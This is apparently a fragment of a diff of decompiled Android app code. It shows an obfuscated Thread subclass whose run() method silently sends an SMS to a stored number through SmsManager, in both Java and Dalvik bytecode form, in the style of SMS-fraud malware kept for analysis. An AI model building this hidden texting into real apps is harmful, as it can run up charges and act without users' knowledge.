android.telephony.SmsManager.getDefault().sendTextMessage(this.A8xb, 0, this.UgmlJgeQci, 0, 0);
return;
}
}

View File

@@ -0,0 +1,15 @@
# LQueiD9ej/ezahS1gi/udHkT0;-><init>(Ljava/lang/String; Ljava/lang/String;)V [access_flags=public constructor]
#
# Parameters:
# - local registers: v0...v0
# - v1:java.lang.String
# - v2:java.lang.String
#
# - return:void
<init>-BB@0x0 :
0 (00000000) invoke-direct v0, Ljava/lang/Thread;-><init>()V
1 (00000006) iput-object v1, v0, LQueiD9ej/ezahS1gi/udHkT0;->A8xb Ljava/lang/String;
2 (0000000a) iput-object v2, v0, LQueiD9ej/ezahS1gi/udHkT0;->UgmlJgeQci Ljava/lang/String;
3 (0000000e) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 51 KiB

View File

@@ -0,0 +1,18 @@
# LQueiD9ej/ezahS1gi/udHkT0;->run()V [access_flags=public final]
#
# Parameters:
# local registers: v0...v6
#
# - return:void
run-BB@0x0 :
0 (00000000) const/4 v2, 0
1 (00000002) invoke-static Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
2 (00000008) move-result-object v0
3 (0000000a) iget-object v1, v6, LQueiD9ej/ezahS1gi/udHkT0;->A8xb Ljava/lang/String;
4 (0000000e) iget-object v3, v6, LQueiD9ej/ezahS1gi/udHkT0;->UgmlJgeQci Ljava/lang/String;
5 (00000012) move-object v4, v2
6 (00000014) move-object v5, v2
7 (00000016) invoke-virtual/range v0 ... v5, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V
8 (0000001c) return-void

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 KiB